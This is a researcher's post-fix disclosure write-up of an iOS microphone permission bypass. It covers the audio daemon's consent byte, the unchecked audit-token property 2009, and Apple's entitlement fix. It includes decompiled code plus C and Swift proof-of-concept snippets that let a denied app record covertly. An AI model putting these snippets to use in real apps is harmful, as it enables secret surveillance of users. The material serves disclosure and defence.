CVE-2026-65339: A Microphone Permission Bypass on iOS

A sandboxed iOS app with no added entitlements shows the microphone prompt. The user taps Don't Allow. The app records anyway, while its permission still reads denied and no orange indicator appears. Once started, the capture survives backgrounding and a locked device.

The bypass is one AudioUnitSetProperty call carrying the audio daemon's own audit token, which the kernel hands the app on request. Told I am audiomxd, audiomxd decides the client is itself and sends it real microphone samples.

Reproduced on iPadOS 27.0 beta 24A5390f and iOS 26.6 23G71. Fixed in iOS and iPadOS 26.6.1, macOS Tahoe 26.6.2 and the later releases below. Apple said another researcher reported it first. The 17 August advisories initially credited Nik Tsytsarkin of Meta Red Team X, and Apple added my name to them on 14 September.

Where the recording decision is made

An app's RemoteIO unit is a client-side proxy. The real client object lives in the audio daemon, which Apple's log strings call audiomxd. Control travels over MIG, and captured samples reach the app through shared memory.

The consent decision is one byte in that object:

• AQIONodeClient, the input node at client + 56, stores the client's 32-byte audit token at +0x28 and a canRecord byte derived from it at +0x14, which are client + 96 and client + 76.
• RemoteIOClient::IONodeClient::EnqueueInput zero-fills the client's shared region when canRecord is not 1. A denied app gets silent samples, not none.

This byte was enough for real samples on both builds I tested. I did not audit other consent checks.

Who does audiomxd think you are?

When an app sends a Mach message, the kernel writes the sender's audit_token_t into the message trailer, where the sender cannot change it.¹ By convention val[5] is the PID and val[7] the pidversion, which exec and posix_spawn bump, so the pair names one process execution.² The daemon reads them with audit_token_to_pid and audit_token_to_pidversion. iOS apps lack those accessors and read the words directly.

Property 2009, an identity the client is allowed to write

AURemoteIO also accepts an undocumented property, ID 2009, whose data is an audit_token_t. The SDK documents output-unit properties 2000 to 2016 and skips 2008 and 2009.³ For 2009 the daemon unmarshals exactly 32 bytes and rejects a shorter payload.

Such a property has a legitimate use. A process configuring audio for another process must name whose consent applies. That only works if the caller is authorized to speak for someone else, and that check is missing.

The missing bind

_AUIOServer_SetProperty uses the authenticated MIG sender token only to find the caller's own client, so one app cannot reconfigure another's unit. For 2009 it then copies the 32 caller-supplied bytes over that client's stored token and recomputes canRecord.⁴

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

// _AUIOServer_SetProperty at 0x1bc35f650
// v35 is a copy of a2, the trailer audit token. a5 is the property ID
v17 = (*(__int64 (__fastcall **)(__int64, AQMESession *, __int64))(*(_QWORD *)v13 + 8LL))(v13, &v35, a3);
if ( !v17 )                          // the sender token's only use
  ...                                // fails with -50
...
if ( (_DWORD)a5 != 2009 )            // 0x1bc35f974
  goto LABEL_54;
v24 = *(_OWORD **)(v37 + 40);        // unmarshalled property data
v25 = v24[1];
*(_OWORD *)(v17 + 96) = *v24;        // 32 caller bytes
*(_OWORD *)(v17 + 112) = v25;
AQIONodeClient::SetCanRecord(v17 + 56);

The lookup, RemoteIOServer::ClientFromToken, only checks the caller's PID against the one stored when the client was created. SetCanRecord reads the token at client + 96, and property 2009 overwrites exactly those bytes.

No entitlement gates the write. It only needs scope 1, kAudioUnitScope_Input, which the proof of concept passes.

The implicit-allow branch

AQIONodeClient::SetCanRecord gets the daemon's own audit token from the kernel and compares its PID and pidversion with the stored token. On a mismatch it asks TCC about whichever process the stored token names, or denies if Launch Services is not ready. On a match it skips TCC, logs this line from AQIONode.cpp:341 and sets canRecord.

1

%25s:%-5d Recording implicitly allowed for AQIONodeClient %p hosted in audiomxd with no client audit token.

The log call is at 0x1bc36efe8, and canRecord is stored at 0x1bc36ed00. The denial itself is untouched, which is why the permission still reads denied.

The kernel will tell you the daemon's identity

The trailer works both ways. Get audiomxd to send you a message and the kernel stamps it with audiomxd's token. Routine 88000 of the AURemoteIO MIG subsystem, GetServerPID, replies to an empty request. Ask for the audit trailer when receiving the reply.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

mach_port_t service = MACH_PORT_NULL;
bootstrap_look_up(bootstrap_port, "com.apple.audio.AURemoteIOServer", &service);
mach_port_t reply = mig_get_reply_port();

RIOMessageBuffer request;
memset(&request, 0, sizeof(request));
request.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND,
                                          MACH_MSG_TYPE_MAKE_SEND_ONCE);
request.header.msgh_size        = sizeof(mach_msg_header_t);
request.header.msgh_remote_port = service;
request.header.msgh_local_port  = reply;
request.header.msgh_id          = 88000;   // GetServerPID
mach_msg(&request.header, MACH_SEND_MSG, request.header.msgh_size,
         0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

RIOMessageBuffer response;
mach_msg(&response.header,
         MACH_RCV_MSG | MACH_RCV_TRAILER_TYPE(MACH_MSG_TRAILER_FORMAT_0) |
                        MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_AUDIT),
         0, sizeof(response), reply, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

mach_msg_audit_trailer_t *trailer = (mach_msg_audit_trailer_t *)
    (response.bytes + RIORoundMessageSize(response.header.msgh_size));
if (trailer->msgh_trailer_size >= sizeof(mach_msg_audit_trailer_t))
    memcpy(out_token, trailer->msgh_audit.val, sizeof(audit_token_t));

The pidversion in val[7] is what a guessed PID cannot supply, and the trailer hands it over.

Assembling the capture

The rest is a standard input unit.⁵ The only unusual line is the property write, which sets canRecord before the session is activated. How late it can move is untested.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

private let auditTokenProperty: AudioUnitPropertyID = 2009

// RemoteIO unit from AudioComponentInstanceNew: input on, output off,
// mono s16 linear PCM, input callback ... (unremarkable)

// The bypass: 32 bytes of "I am audiomxd".
let status = serverToken.withUnsafeBytes { bytes in
    AudioUnitSetProperty(unit!, auditTokenProperty,
                         kAudioUnitScope_Input, 0,
                         bytes.baseAddress, UInt32(bytes.count))
}
guard status == noErr else { throw ProbeError.step("SetProperty(2009)", status) }

let session = AVAudioSession.sharedInstance()
try session.setCategory(.record, mode: .measurement, options: [])
try session.setActive(true)

AudioUnitInitialize(unit!)      // canRecord already set by the write above
AudioOutputUnitStart(unit!)

Neither proof of concept variant has an entitlements file, and the only privacy key is NSMicrophoneUsageDescription, which makes the prompt appear. In my tests the capture had to start in the foreground, and the background variant also sets UIBackgroundModes = audio. Both were installed from Xcode and never went through App Review.

The fix

In 26.6.1 the setter stops trusting the caller's bytes.⁶ Unless the sender token is the all-0xFF _gBogusAuditToken sentinel, it now requires this entitlement.

1

com.apple.private.audio.client-audit-token-override

Without it the write fails with kAudioUnitErr_Unauthorized and logs this line.

1

%25s:%-5d Rejecting ClientAuditToken override from unentitled caller pid %d

The AudioQueue path to the same canRecord flag got its own check for the same entitlement. None of this is in the 23G71 AudioToolbox, and the 13 July beta 5, 23G5065a, still has the unguarded code shown above.

On Ravel, the AudioToolbox diff from 26.6 to 26.6.1 adds four strings: the entitlement, a rejection line for each path and a new build stamp.⁷ An entitlement search there finds one holder, /usr/libexec/cameracaptured.

The missing check is now the one named earlier, authorization to speak for someone else.

Disclosure